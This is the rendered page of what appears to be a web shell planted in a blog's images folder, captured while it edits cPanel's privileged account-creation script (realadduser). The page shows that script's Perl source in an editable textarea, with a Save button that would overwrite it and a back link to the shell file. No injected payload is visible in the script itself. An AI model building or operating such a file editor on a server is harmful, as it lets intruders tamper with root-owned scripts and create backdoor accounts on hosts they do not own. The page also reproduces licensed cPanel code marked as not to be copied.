<h2>Edit File - realadduser</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/usr/local/cpanel/scripts/realadduser">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/realadduser                     Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

BEGIN {
    $ENV{&#039;LANG&#039;} = &#039;C&#039;;
}

use strict;
use Fcntl                       ();
use Cpanel::Finally             ();
use AcctLock                    ();
use Cpanel::Logger              ();
use Cpanel::LoginDefs           ();
use Cpanel::PwCache             ();
use Cpanel::SysAccounts         ();
use Whostmgr::Accounts::IdTrack ();

my $logger = Cpanel::Logger-&gt;new();

my $mailgid = ( Cpanel::PwCache::getpwnam(&#039;mail&#039;) )[3];

my $nochecks          = 0;
my $shell             = 0;
my $debug             = 0;
my $is_system_account = 0;

if (@ARGV) {
    while ( my $arg = shift @ARGV ) {
        last if !$arg;
        if ( $arg =~ m/^-+(\S+)/ ) {
            my $flag = $1;
            if ( $flag eq &#039;nochecks&#039; ) {
                $nochecks = 1;
            }
            elsif ( $flag =~ m/^(no)?shell$/ ) {
                if ($1) {
                    $shell = &#039;noshell&#039;;
                }
                else {
                    $shell = shift @ARGV;
                }
            }
            elsif ( $flag =~ m/debug/i ) {
                $debug = 1;
            }
            elsif ( $flag eq &#039;r&#039; || $flag eq &#039;system&#039; ) {
                $is_system_account = 1;
            }
        }
        else {
            unshift @ARGV, $arg;
            last;
        }
    }
}

my $username = $ARGV[0];
my $homeroot = $ARGV[1];
my $pass     = $ARGV[2];
my $myuid    = $ARGV[3];
my $mygid    = $ARGV[4];

if ( !$ARGV[0] ) {
    my $up;
    chomp( $up = &lt;STDIN&gt; );
    my @UP = split( / /, $up );
    $username = $UP[0];
    $homeroot = $UP[1];
    $pass     = $UP[2];
}

if ( !$username ) {
    Cpanel::Logger::logger(
        {
            &#039;message&#039;   =&gt; &quot;Syntax: adduser &lt;username&gt; &lt;homeroot&gt; &lt;password&gt;&quot;,
            &#039;level&#039;     =&gt; &#039;die&#039;,
            &#039;service&#039;   =&gt; &#039;realadduser&#039;,
            &#039;output&#039;    =&gt; 2,
            &#039;backtrace&#039; =&gt; 0,
        }
    );
}
if ( !$homeroot ) {
    Cpanel::Logger::logger(
        {
            &#039;message&#039;   =&gt; &quot;Syntax: adduser &lt;username&gt; &lt;homeroot&gt; &lt;password&gt;&quot;,
            &#039;level&#039;     =&gt; &#039;die&#039;,
            &#039;service&#039;   =&gt; &#039;realadduser&#039;,
            &#039;output&#039;    =&gt; 2,
            &#039;backtrace&#039; =&gt; 0,
        }
    );
}

if ( !-e &#039;/etc/allowstupidstuff&#039; ) {
    if ( $username =~ /^\d+/ ) {
        Cpanel::Logger::logger(
            {
                &#039;message&#039;   =&gt; &quot;Invalid username $username. Usernames must not begin with a number.&quot;,
                &#039;level&#039;     =&gt; &#039;die&#039;,
                &#039;service&#039;   =&gt; &#039;realadduser&#039;,
                &#039;output&#039;    =&gt; 2,
                &#039;backtrace&#039; =&gt; 0,
            }
        );
    }
}

if ( !$shell ) {
    if ( -x &#039;/bin/rstsh&#039; ) {
        $shell = &#039;/bin/rstsh&#039;;
    }
    elsif ( -x &#039;/bin/bash&#039; ) {
        $shell = &#039;/bin/bash&#039;;
    }
    elsif ( -x &#039;/usr/local/bin/bash&#039; ) {
        $shell = &#039;/usr/local/bin/bash&#039;;
    }
    elsif ( -x &#039;/bin/sh&#039; ) {
        $shell = &#039;/bin/sh&#039;;
    }
    else {
        Cpanel::Logger::logger(
            {
                &#039;message&#039;   =&gt; &quot;No valid shell found. Using /bin/false&quot;,
                &#039;level&#039;     =&gt; &#039;warn&#039;,
                &#039;service&#039;   =&gt; &#039;realadduser&#039;,
                &#039;output&#039;    =&gt; 2,
                &#039;backtrace&#039; =&gt; 0,
            }
        );
        $shell = &#039;/bin/false&#039;;
    }
}
elsif ( $shell eq &#039;noshell&#039; ) {
    if ( -x &#039;/usr/local/cpanel/bin/noshell&#039; ) {
        $shell = &#039;/usr/local/cpanel/bin/noshell&#039;;
    }
    else {
        $shell = &#039;/bin/false&#039;;
    }
}

if ($debug) {
    Cpanel::Logger::logger(
        {
            &#039;message&#039;   =&gt; &quot;User: $username Home: $homeroot Shell: $shell Checks: $nochecks&quot;,
            &#039;level&#039;     =&gt; &#039;debug&#039;,
            &#039;service&#039;   =&gt; &#039;realadduser&#039;,
            &#039;output&#039;    =&gt; 1,
            &#039;backtrace&#039; =&gt; 0,
        }
    );
    exit;
}

my $home = $homeroot;
if ( !-e $home ) {
    mkdir( $home, 0755 );
}

if ( $pass eq &#039;&#039; ) {
    Cpanel::Logger::logger(
        {
            &#039;message&#039;   =&gt; &quot;No password specified for $username&quot;,
            &#039;level&#039;     =&gt; &#039;info&#039;,
            &#039;service&#039;   =&gt; &#039;realadduser&#039;,
            &#039;output&#039;    =&gt; 1,
            &#039;backtrace&#039; =&gt; 0,
        }
    );
}

my ( $minuid, $mingid, $maxuid, $maxgid );

if ($is_system_account) {
    $minuid = Cpanel::LoginDefs::get_sys_uid_min();
    $mingid = Cpanel::LoginDefs::get_sys_gid_min();
    $maxuid = Cpanel::LoginDefs::get_sys_uid_max();
    $maxgid = Cpanel::LoginDefs::get_sys_gid_max();
}
else {
    $minuid = Cpanel::LoginDefs::get_uid_min();
    $mingid = Cpanel::LoginDefs::get_gid_min();
    $maxuid = Cpanel::LoginDefs::get_uid_max();
    $maxgid = Cpanel::LoginDefs::get_gid_max();
}

my $username_nodash = $username;
if ( !$nochecks ) {
    $username_nodash =~ s/-//g;
}

my @UIDS;
my @GIDS;

AcctLock::acctlock();
my $unlock = Cpanel::Finally-&gt;new( sub { AcctLock::acctunlock(); } );

my ( $idalloc_status, $idalloc_statusmsg, $idalloc_uid, $idalloc_gid ) = Whostmgr::Accounts::IdTrack::allocate( { &#039;minuid&#039; =&gt; $minuid, &#039;mingid&#039; =&gt; $mingid } );

if ( !$idalloc_status ) {
    die $idalloc_statusmsg;
}

Cpanel::SysAccounts::add_system_user(
    $username,
    &#039;pass&#039;    =&gt; $pass,
    &#039;uid&#039;     =&gt; $idalloc_uid,
    &#039;gid&#039;     =&gt; $idalloc_gid,
    &#039;homedir&#039; =&gt; &quot;$home/$username&quot;,
    &#039;shell&#039;   =&gt; $shell,
);

Cpanel::Logger::logger(
    {
        &#039;message&#039;   =&gt; &quot;User $username added&quot;,
        &#039;level&#039;     =&gt; &#039;info&#039;,
        &#039;service&#039;   =&gt; &#039;realadduser&#039;,
        &#039;output&#039;    =&gt; 1,
        &#039;backtrace&#039; =&gt; 0,
    }
);
</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/blog/images/1781637752_1754069486_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>